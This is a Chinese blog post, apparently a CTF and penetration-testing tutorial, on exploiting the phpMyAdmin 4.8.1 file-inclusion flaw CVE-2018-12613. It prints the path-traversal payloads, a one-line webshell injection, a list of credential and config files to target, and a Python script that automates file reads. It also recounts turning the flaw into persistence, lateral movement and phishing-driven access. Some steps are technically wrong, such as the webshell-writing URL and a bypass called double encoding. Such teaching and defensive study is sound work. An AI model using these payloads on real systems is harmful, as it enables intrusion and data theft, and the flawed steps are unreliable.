CTF实战:如何利用phpMyAdmin 4.8.1的CVE-2018-12613漏洞快速拿flag?

BUUCTF [GWCTF 2019] 数据库的秘密:CVE-2018-12613漏洞实战解析 本文深入解析了BUUCTF中一道涉及phpMyAdmin的CTF题目,重点剖析了CVE-2018-12613远程文件包含漏洞的利用原理。通过实战演示,从信息收集、目录扫描发现phpMyAdmin 4.8.1,到理解漏洞成因并构造Payload读取系统文件,最终定位并获取flag,完整复现了漏洞利用过程。文章还从防御角度总结了安全开发与系统加固的关键措施。 阅读详情

CTF实战:从phpMyAdmin 4.8.1文件包含漏洞到权限提升的深度利用

在CTF竞赛和日常的渗透测试中,遇到phpMyAdmin这类数据库管理工具并不少见。很多选手看到熟悉的登录界面,第一反应往往是尝试弱口令或者SQL注入,但今天我们要探讨的是一个更为隐蔽且威力巨大的攻击向量——CVE-2018-12613。这个漏洞影响phpMyAdmin 4.8.0至4.8.1版本,允许攻击者通过精心构造的请求实现远程文件包含,进而读取服务器上的任意文件。

我第一次在实战中遇到这个漏洞是在一次内部红蓝对抗中,目标系统部署了一个看似无害的phpMyAdmin实例。当时团队已经尝试了各种常规手段无果,直到有人注意到页面底部的版本号。那个“4.8.1”就像黑暗中的灯塔,指引我们走向了一条完全不同的攻击路径。今天,我将结合多次实战经验,不仅讲解如何利用这个漏洞读取flag,更会深入探讨如何将其转化为真正的系统权限。

1. 漏洞原理深度解析:为什么这个文件包含如此特殊

CVE-2018-12613的核心问题在于phpMyAdmin的index.php文件中对target参数的处理不当。在正常流程中,这个参数用于指定要加载的页面模块,比如db_sql.php、db_datadict.php等。问题出在代码没有对用户输入进行充分的过滤和验证。

1.1 漏洞触发机制

让我们先看看漏洞的触发点。在phpMyAdmin 4.8.1的index.php中,有这样一段关键代码:

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

这里的Core::checkPageValidity()函数本应确保target参数指向的是合法文件,但其实现存在缺陷。函数内部会检查目标文件是否在白名单中,但攻击者可以通过特殊构造绕过这一检查。

关键点:漏洞利用的核心在于双重编码技巧。当我们提交db_sql.php%253f时,服务器会先进行一次URL解码,得到db_sql.php%3f,然后%3f会被解码为问号?,最终形成db_sql.php?这样的字符串。这个问号让后续的路径遍历成为可能。

1.2 路径穿越的巧妙构造

理解路径穿越的构造是掌握这个漏洞的关键。典型的payload如下:

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

这个payload的构造逻辑是这样的:

  1. db_sql.php%253f → 解码后变为db_sql.php?
  2. 问号后的内容被当作查询字符串参数
  3. 但php的include函数在遇到问号时会将其后的内容视为路径的一部分
  4. 通过../实现目录穿越

为了更直观地理解这个过程,我整理了一个对比表格:

构造部分作用绕过原理
db_sql.php%253f目标文件+编码后的问号绕过白名单检查,同时引入路径分隔符
/路径分隔符将问号后的内容变为路径的一部分
../../../../目录穿越向上跳转目录层级
etc/passwd目标文件最终要读取的系统文件

在实际测试中,我发现不同系统的目录深度可能不同。Linux系统通常需要6-8个../才能到达根目录,而Windows系统由于路径结构不同,可能需要更多尝试。

2. 实战环境搭建与信息收集

在真正的CTF比赛或渗透测试中,你很少会直接知道目标存在phpMyAdmin,更不用说其具体版本了。系统的信息收集能力往往决定了能否发现这个漏洞。

2.1 自动化工具与手动探测的结合

我通常采用分层式的探测策略:

第一阶段:基础扫描

# 使用dirsearch进行目录扫描
python3 dirsearch.py -u http://target.com -e php,html,js -t 50

# 使用gobuster进行子目录发现
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php

第二阶段:针对性探测 发现/phpmyadmin/目录后,需要确认版本信息。有几种方法:

  1. 直接访问:查看页面底部的版本信息
  2. 查看源代码:在HTML注释中寻找版本痕迹
  3. 访问特定文件:尝试/phpmyadmin/README、/phpmyadmin/ChangeLog等
  4. 指纹识别:使用whatweb或Wappalyzer等工具

第三阶段:漏洞验证 确认版本在4.8.0-4.8.1范围内后,可以尝试简单的验证payload:

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

如果返回了/etc/passwd文件内容,说明漏洞存在。

2.2 常见部署位置与访问控制

在实际环境中,phpMyAdmin可能被部署在各种位置。以下是我在多次渗透测试中遇到的常见情况:

部署位置访问控制备注
/phpmyadmin/无或基础认证最常见
/admin/phpmyadmin/IP白名单需要先突破网络层
/db/.htaccess限制可能需要目录遍历
非标准端口防火墙规则需要端口扫描
子域名单独认证如pma.target.com

经验分享:有一次在测试中,目标将phpMyAdmin部署在/internal/dbadmin/路径下,且没有任何外部链接指向它。我们是通过分析JavaScript文件中的API调用路径才发现的。这提醒我们,信息收集要全面,不能只依赖常规扫描。

3. 漏洞利用的进阶技巧

基础的文件读取只是开始,真正的价值在于如何将这个漏洞转化为实际的攻击成果。

3.1 定位关键文件

读取/etc/passwd只是验证漏洞存在,真正的目标是找到敏感信息。以下是我通常会尝试读取的文件列表:

系统配置文件:

  • /etc/passwd - 用户账户信息
  • /etc/shadow - 密码哈希(需要root权限)
  • /etc/hosts - 主机映射
  • /etc/resolv.conf - DNS配置

Web应用文件:

  • /var/www/html/config.php - 数据库配置
  • /var/www/html/.env - 环境变量
  • /var/www/html/application/config/database.php - 框架配置

日志文件:

  • /var/log/apache2/access.log - 访问日志
  • /var/log/apache2/error.log - 错误日志
  • /var/log/auth.log - 认证日志

会话文件:

  • /tmp/sess_* - PHP会话文件
  • /var/lib/php/sessions/sess_* - PHP会话文件

3.2 从文件包含到代码执行

单纯的文件读取可能不足以获取flag或系统权限。更高级的利用方式是将文件包含转化为代码执行。这需要找到可写的目录和合适的文件。

方法一:利用PHP会话文件 如果能够预测或获取会话ID,可以向会话文件中写入PHP代码:

  1. 首先通过包含漏洞读取/proc/self/environ获取当前进程信息
  2. 从中提取会话ID(PHPSESSID)
  3. 构造包含PHP代码的请求,将其写入会话文件
  4. 包含该会话文件执行代码

方法二:写入Web目录 如果发现Web目录可写,可以直接写入Webshell:

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/www/html/shell.php&cmd=<?php system($_GET['cmd']); ?>

方法三:利用临时文件 在某些配置下,phpMyAdmin会生成临时文件。通过精心控制请求时间,可能实现临时文件包含。

3.3 自动化利用脚本

对于重复性测试,我编写了一个简单的Python脚本来自动化漏洞利用过程:

#!/usr/bin/env python3
import requests
import sys
import urllib.parse

def test_lfi(target_url, file_path):
    """测试文件包含漏洞"""
    payload = f"/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../{file_path}"
    full_url = target_url.rstrip('/') + payload
    
    try:
        response = requests.get(full_url, timeout=10)
        if response.status_code == 200:
            content = response.text
            # 检查是否包含常见错误信息
            if "phpMyAdmin" in content and "error" not in content.lower():
                return True, content[:500]  # 返回前500字符
    except Exception as e:
        pass
    
    return False, None

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)
    
    target = sys.argv[1]
    
    # 测试常见文件
    test_files = [
        "/etc/passwd",
        "/etc/hosts",
        "/proc/self/environ",
        "/var/www/html/index.php"
    ]
    
    print(f"[*] Testing {target} for CVE-2018-12613")
    
    for test_file in test_files:
        print(f"[*] Trying to read {test_file}")
        success, content = test_lfi(target, test_file)
        
        if success:
            print(f"[+] Successfully read {test_file}")
            print(f"[*] First 500 characters:\n{content}")
            
            # 尝试提取有用信息
            if test_file == "/etc/passwd":
                print("\n[*] Extracted users:")
                for line in content.split('\n'):
                    if ':' in line and not line.startswith('#'):
                        parts = line.split(':')
                        if len(parts) >= 7:
                            print(f"  - {parts[0]} (shell: {parts[6]})")
            
            break
        else:
            print(f"[-] Failed to read {test_file}")

if __name__ == "__main__":
    main()

这个脚本可以快速验证漏洞并提取基本信息。在实际使用中,我会根据目标环境调整要尝试的文件路径。

4. CTF实战案例:BUUCTF [GWCTF 2019]我有一个数据库

让我们回到文章开头提到的CTF题目。这道题是学习CVE-2018-12613的绝佳案例,它完整地展示了从信息收集到漏洞利用的全过程。

4.1 题目分析与初步探测

题目名称"我有一个数据库"已经暗示了与数据库相关。启动环境后,访问目标显示乱码,这通常是字符编码问题,但也可能是某种提示。我的第一反应是查看页面源代码,但并没有发现明显线索。

接下来进行目录扫描:

# 使用dirsearch进行扫描
python3 dirsearch.py -u http://challenge-address -e php,html,txt -t 30

扫描结果通常包括:

  • /index.php - 主页面(乱码)
  • /robots.txt - 机器人协议文件
  • /phpinfo.php - PHP信息页面
  • /phpmyadmin/ - phpMyAdmin管理界面

4.2 关键发现与版本确认

访问/phpmyadmin/后,我们需要确认版本信息。在phpMyAdmin界面中,版本信息通常显示在页面底部。如果是4.8.0或4.8.1版本,就可以尝试CVE-2018-12613。

另一种确认版本的方法是查看/phpmyadmin/README或/phpmyadmin/ChangeLog文件,这些文件通常包含详细的版本信息。

4.3 漏洞利用与flag获取

确认版本后,构造payload读取系统文件:

http://challenge-address/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

如果看到/etc/passwd的内容,说明漏洞利用成功。接下来就是寻找flag文件。在CTF环境中,flag通常位于根目录或Web目录下:

常见flag位置:

  • /flag
  • /root/flag
  • /home/flag
  • /var/www/html/flag
  • /tmp/flag

对于这道题目,payload为:

http://challenge-address/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

4.4 遇到的挑战与解决方案

在实际解题过程中,可能会遇到一些挑战:

  1. 路径深度不确定:不同系统需要不同数量的../

    • 解决方案:从6个开始尝试,逐步增加
    • 可以使用Burp Suite的Intruder模块自动化测试
  2. 文件权限问题:某些文件可能无法读取

    • 解决方案:尝试读取当前用户有权限的文件
    • 先读取/etc/passwd确认用户权限
  3. WAF或过滤规则:某些环境可能有额外的安全措施

    • 解决方案:尝试不同的编码方式
    • 使用....//代替../(双重编码)
  4. 会话限制:可能需要有效的phpMyAdmin会话

    • 解决方案:先正常访问phpMyAdmin获取cookie
    • 在请求中包含有效的会话cookie

5. 防御措施与安全建议

作为安全研究人员,我们不仅要会攻击,更要理解如何防御。针对CVE-2018-12613及其类似漏洞,我总结了以下防御措施:

5.1 即时缓解措施

如果发现系统存在漏洞,应立即采取以下措施:

  1. 升级phpMyAdmin:升级到4.8.2或更高版本
  2. 临时补丁:修改index.php,在包含文件前添加严格的路径验证
  3. 访问控制:通过.htaccess或Web服务器配置限制访问
  4. 删除或重命名:如果不必要,直接删除phpMyAdmin目录

5.2 长期安全加固

网络层防护:

  • 将phpMyAdmin部署在内网,通过VPN访问
  • 使用IP白名单限制访问来源
  • 修改默认端口,避免自动化扫描

应用层防护:

// 在phpMyAdmin的config.inc.php中添加
$cfg['Servers'][$i]['AllowRoot'] = false;
$cfg['Servers'][$i]['AllowNoPassword'] = false;
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['ForceSSL'] = true;

系统层防护:

  • 为phpMyAdmin创建专用数据库用户,限制其权限
  • 定期更新系统和所有软件包
  • 启用文件完整性监控
  • 配置适当的文件权限(phpMyAdmin目录应为644,配置文件应为600)

5.3 监控与检测

建立有效的监控机制可以在漏洞被利用前发现异常:

  1. 日志监控:监控phpMyAdmin的访问日志,关注异常路径访问
  2. 文件监控:监控phpMyAdmin目录的文件变化
  3. 网络监控:检测到phpMyAdmin端口的异常流量
  4. 行为分析:建立正常用户行为基线,检测偏离行为

6. 从CTF到真实世界的思考

CTF中的漏洞利用往往简化了真实世界的复杂性。在实际渗透测试中,CVE-2018-12613的利用需要考虑更多因素:

环境差异:生产环境的phpMyAdmin可能有自定义配置、负载均衡、WAF等防护措施。

权限限制:数据库用户可能只有有限权限,无法读取敏感文件。

时间窗口:漏洞利用可能触发监控告警,需要在有限时间内完成攻击链。

持久化:单纯的文件读取不足以维持访问,需要考虑如何建立持久化后门。

在一次真实的红队评估中,我们通过这个漏洞读取到了数据库配置文件,其中包含了内网其他系统的连接信息。这让我们能够横向移动,最终获得了整个网络的控制权。这种从一个小漏洞开始,逐步扩大战果的过程,正是渗透测试的魅力所在。

7. 相关工具与资源

为了更好地研究和利用这类漏洞,我整理了一些有用的工具和资源:

漏洞利用工具:

  • phpmyadmin-auto-rce:自动化利用脚本
  • liffy:本地文件包含利用框架
  • Burp Suite插件:File Inclusion Scanner

学习资源:

  • PHP手册:理解include/require函数的行为
  • OWASP测试指南:文件包含测试方法论
  • 漏洞数据库:CVE-2018-12613的详细描述和PoC

实践环境:

  • VulnHub:包含phpMyAdmin漏洞的虚拟机
  • DVWA:Damn Vulnerable Web Application
  • Web Security Academy:PortSwigger的免费学习平台

掌握CVE-2018-12613这样的漏洞不仅是为了CTF比赛,更是为了理解Web应用安全的基本原理。每个漏洞背后都反映了开发人员对安全问题的认知盲点,而我们的任务就是发现这些盲点,并帮助修复它们。

在真实项目中,我遇到过一个有趣的情况:客户系统确实存在这个漏洞,但他们的phpMyAdmin只能通过公司VPN访问。我们最终是通过钓鱼邮件获取了VPN凭证,然后才利用了这个漏洞。这提醒我们,技术漏洞往往只是攻击链的一环,社会工程和物理安全同样重要。

对于想要深入Web安全的学习者,我的建议是多动手实践,但要在合法授权的环境中进行。搭建自己的实验环境,复现已知漏洞,理解其原理,然后思考如何防御。只有真正理解攻击者的思维,才能设计出有效的防御方案。

实战复现:phpMyAdmin 4.8.1文件包含漏洞(CVE-2018-12613)完整利用指南 本文提供了phpMyAdmin 4.8.1版本中CVE-2018-12613文件包含漏洞的完整实战复现指南。通过详细的环境搭建、漏洞原理剖析和攻击载荷构造,深入解析了该漏洞因URL解码差异导致的白名单绕过机制,并演示了如何利用此漏洞读取服务器敏感文件。文章旨在帮助安全研究人员和CTF选手深入理解漏洞利用链,提升Web安全实战能力。 阅读详情

相关推荐

深入剖析phpMyAdmin文件包含漏洞:从代码审计到实战攻防

文件包含漏洞是Web安全领域中的一种常见高危漏洞,它允许攻击者通过Web应用动态包含并执行服务器上的任意文件,从而可能导致敏感信息泄露甚至远程代码执行。其核心原理在于应用程序在处理用户输入时,未能对包含的文件路径进行充分验证,特别是当校验逻辑与执行逻辑存在不一致时,攻击者便可利用编码、路径遍历等技术进行绕过。这类漏洞的技术价值在于它深刻揭示了安全开发中“校验与执行一致性”原则的重要性,是理解白名单机制、输入过滤等基础安全概念的绝佳案例。在实际应用场景中,文件包含漏洞常出现在PHP等动态语言开发的CMS、管理

weixin_34265814的博客 341

BUUCTF[PHPMYADMIN]CVE-2018-12613

打开所提供的网址 是个phpmyadmin界面 phpmyadmin的版本号为4.8.1 在phpmyadmin的版本号为4.8.1以及4.8.0的版本中有着包含(查看并可能执行)服务器上的文件的漏洞,详情可看这篇文章 phpMyAdmin 是一套开源的、基于Web的MySQL数据库管理工具。在 4.8.2 之前的 phpMyAdmin 4.8.x 中发现了一个问题,其中攻击者可以在服务器上包含文件。该漏洞来自 phpMyAdmin 中重定向和加载页面的部分代码,以及对白名单页面的不当测试..

qq_62078839的博客 2606

hctf2016 web 部分WriteUp.md

hctf2016 web 部分WriteUp

Bendawang's Blog 4993

墨者学院CTF(phpMyAdmin后台文件包含分析溯源)

墨者学院CTF(phpMyAdmin后台文件包含分析溯源) 靶场地址: http://219.153.49.228:45122/ 相关知识: 1.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) 2.php代码审计 3.base64编码绕过 思路: 利用过滤规则绕过php文件包含的黑白名单限制,再利用php的session会话机制,包含一句话木马文件获取shell...

痴人说梦梦中人 3325

PHP字典全自动猜解MYSQL弱口令

PHP字典跑服务器MYSQL数据库密码,自己准备好字典(password.txt)和shell放在同一目录,访问shell.php即可。

无法找到 Adobe PDF资源文件。“Acrobat PDFMaker“您必须具有”管理员”权限方可安装这些文件...错误怎么解决

本文的内容是无法找到 Adobe PDF资源文件。“Acrobat PDFMaker“您必须具有”管理员”权限方可安装这些文件...错误的解决办法。

西岸贤 1万+

一道sql注入的ctf题目致使用phpmyadmin上传 webshell 拿后台权限

于是变成了这样子,然后我抛出所有的库,在库里面找到一个比较可疑的库,然后跑所有的表,找了一个可能包含用户名密码的表,抛出里面的内容,我发现确实很快,那为什么之前一直那么慢呢?5. PHPS文件泄露,phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。跑了一堆杂货,于是我又去跑了目录,发现有http://c63d6b5a18c915cb.node.nsctf.cn/phpmyadmin/index.php,还以为上面的东西就是账号和密码,白高兴一场。

carrot11223的博客 1921

计算机组成原理(第三版)唐朔飞-第四章存储器-课后习题

计算机组成原理(第三版)唐朔飞-第四章存储器-课后习题

weixin_45735391的博客 17万+

【CTF部分基础知识二之PHP(二十五)】

phpMyAdmin是众多MySQL图形化管理工具中使用最广泛的一种,是一款使用PHP开发的B/S模式的MySQL客户端软件,该工具是基于Web的跨平台的管理程序,支持简体中文。用户可以在其官方网站www.phpmyadmin.net上免费下载到最新的版本。phpMyAdmin为Web开发人员提供了类似于Access、SQL Server的图形化数据库操作界面,通过该管理工具可以对MySQL进行各种操作。

lianafany的博客 599

【Claude Code】Extra inputs are not permitted 报错:代理网关剥离 Beta 标头的修复

通过代理或 LLM 网关连接 Anthropic API 时,Claude Code 报 "Extra inputs are not permitted"?根因是中间件删除了 anthropic-beta 请求标头,导致 Beta 字段被 API 拒绝。本文详解标头转发配置和 CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS 回退方案。

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 126

DeepLens是一个用于计算镜头设计的可微光线追踪器

若安装过程中遇到网络问题导致安装失败,可尝试更换pip源,例如使用国内的镜像源,修改pip配置文件(Windows系统在。

max500600的博客 1143

BUUCTF-Real-[PHPMYADMIN]CVE-2018-12613

CVE-2018-12613漏洞复现!

分享 1390

YOLOv11【第一章:零基础入门篇·第1节】YOLOv11核心架构深度解析与环境配置,一文搞定!

🏆 本文收录于专栏 《YOLOv11实战:从入门到深度优化》。 本专栏围绕 YOLOv11 的改进、训练、部署与工程优化 展开,系统梳理并复现当前主流的 YOLOv11 实战案例与优化方案,内容目前已覆盖 分类、检测、分割、追踪、关键点、OBB 检测 等多个方向。

**My Coding Family** 5514

CTF实战:如何利用phpMyAdmin 4.8.1的CVE-2018-12613漏洞快速获取flag?

本文深入解析phpMyAdmin 4.8.1版本的CVE-2018-12613文件包含漏洞,提供从环境侦察到实战利用的完整指南。通过详细的技术分析和Payload构造,帮助CTF选手快速获取flag,同时涵盖防御措施和进阶技巧,适用于BUUCTF、GWCTF等竞赛场景。

sugar的博客 943

YOLOv8独家原创改进:原创自研 | 自研独家创新DSAM注意力 ,基于BiLevelRoutingAttention注意力升级

提出新颖的注意力DSAM(Deformable Bi-level SpatialAttention Module),创新度极佳,适合科研创新,效果秒杀CBAM,Channel Attention+Spartial Attention升级为新颖的Deformable Bi-level Attention+Spartial Attention

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 1515

uniapp - 超详细 H5 网页引入百度地图教程,附地图示例 / 获取当前设备定位的省市区、详细地址、经纬度信息 / 用户当前 IP 属地定位地理位置等等(新手小白快速上手,详细配置及使用全流程)

uniapp百度地图,uniapp百度地图ip属地定位,uniapp百度地图获取省市区详细地址经纬度等,uniapp百度地图当前用户设备定位省份市区详细所在地ip属地等详细教程示例,uniapp网页h5引入百度地图详细教程,uniapp h5网站使用百度地图详细教程,uniappH5端如何接入使用百度地图api,uniapp H5网页端百度地图获取地理位置信息,uniapp h5页面引入百度地图,uniapp h5平台百度地图获取城市信息,uniapp百度地图获取经纬度,uniapp 百度地图拿省市区用什么

🏆 前端领域优质创作者 6219

buuctf [PHPMYADMIN]CVE-2016-5734

漏洞简介 phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。 在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。 以下版本受到影响: 4.0.10.16之前4.0.x版本 4.4.15.7之前4.4.x版本 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,

qq_1873822的博客 884

【C语言趣味教程】(0) 专栏介绍

这是一套C 语言趣味教学专栏,目前正在火热连载中,欢迎猛戳订阅!本专栏保证篇篇精品,继续保持本人一贯的幽默式写作风格,当然,在有趣的同时也同样会保证文章的质量,旨在能够产出"有趣的干货" !本系列教程不管是零基础还是有基础的读者都可以阅读,可以先看看目录!标题前带星号 (*) 的部分不建议初学者阅读,因为内容难免会超出当前章节的知识点,面向的是对 C 语言有一定基础或已经学过

有道无术, 术尚可求。有术无道, 止于术。 2万+

CTF综合靶机渗透

虚拟机难度中等,使用ubuntu(32位),其他软件包有:PHPapacheMySQLBoot to root:从Web应用程序进入虚拟机,并获得root权限。靶机:使用VMWare打开虚机,网络连接方式设置为net,靶机自动获取IP。攻击机:同网段下有Windows攻击机,安装有Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等渗透工具,kali攻击机,主要用Windows攻击机完成实验。ip发现启动Billu_b0x虚拟机,由于虚机网络设置为

xv66666的博客 1567

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

从CTF赛题到真实渗透:phpMyAdmin白名单绕过漏洞的5种变形利用

本文深入剖析phpMyAdmin白名单绕过漏洞(CVE-2018-12613)的5种高阶变形利用技术,从CTF赛题(GWCTF 2019)到真实渗透场景,详细讲解二次编码变体、跨系统路径穿越、现代WAF绕过等手法,并给出企业级防御方案。通过数据库管理工具的漏洞利用案例,展现红队实战中的攻击链构建与防御策略。

root9的博客 626

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

phpMyAdmin老版本为何成CTF常客?从CVE-2018-12613看Web安全演进

本文深入解析phpMyAdmin老版本中的CVE-2018-12613漏洞,探讨其在CTF竞赛中的频繁出现原因及利用方式。通过分析漏洞原理、现代Web安全防御机制演进,提供开发者安全编码和防御策略建议,帮助提升Web应用安全性。

root9的博客 536

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

总结分析 | 基于phpmyadmin的渗透测试

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。

小司机的奥拓 4476

CTF综合靶场渗透系列-Billu_b0x

CTF综合靶场渗透系列-Billu_b0x

lza20001103的博客 5124

CVE-2018-12613[远程文件包含漏洞]复现

CVE-2018-12613[远程文件包含漏洞]复现 0x00漏洞介绍 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外: $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码; $ cfg [‘ServerDefault’] = 0:这会绕过登录并

L1ni01 2865

CVE-2018-12613 phpmyadmin 4.8.1 远程文件包含漏洞

漏洞简介 phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。 漏洞环境 执行如下命令,启动phpmyadmin 4.8.1: docker-compose up -d 环境启动后,访问http://your-ip:8080,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。 漏洞复现 访问http://your-ip:8080/index.ph

weixin_51387754的博客 2950

CVE-2018-12613 (phpmyadmin 4.8.1 远程文件包含漏洞)

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。 0x01 影响范围 phpMyAdmin 4.8.0 and 4.8.1 are affected. 0x02 原理 漏洞代码 $target_blacklist = array ( 'import.php', 'export.php' ); //

weixin_44732566的博客 677
上一篇: 腾讯云OCR vs 小程序OCR插件:身份证识别性能与成本对比
下一篇: 游戏开发实战:用Python实现A*算法让NPC自动寻路(附完整代码)
github5actions
博客等级 码龄1天 0粉丝 1824原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值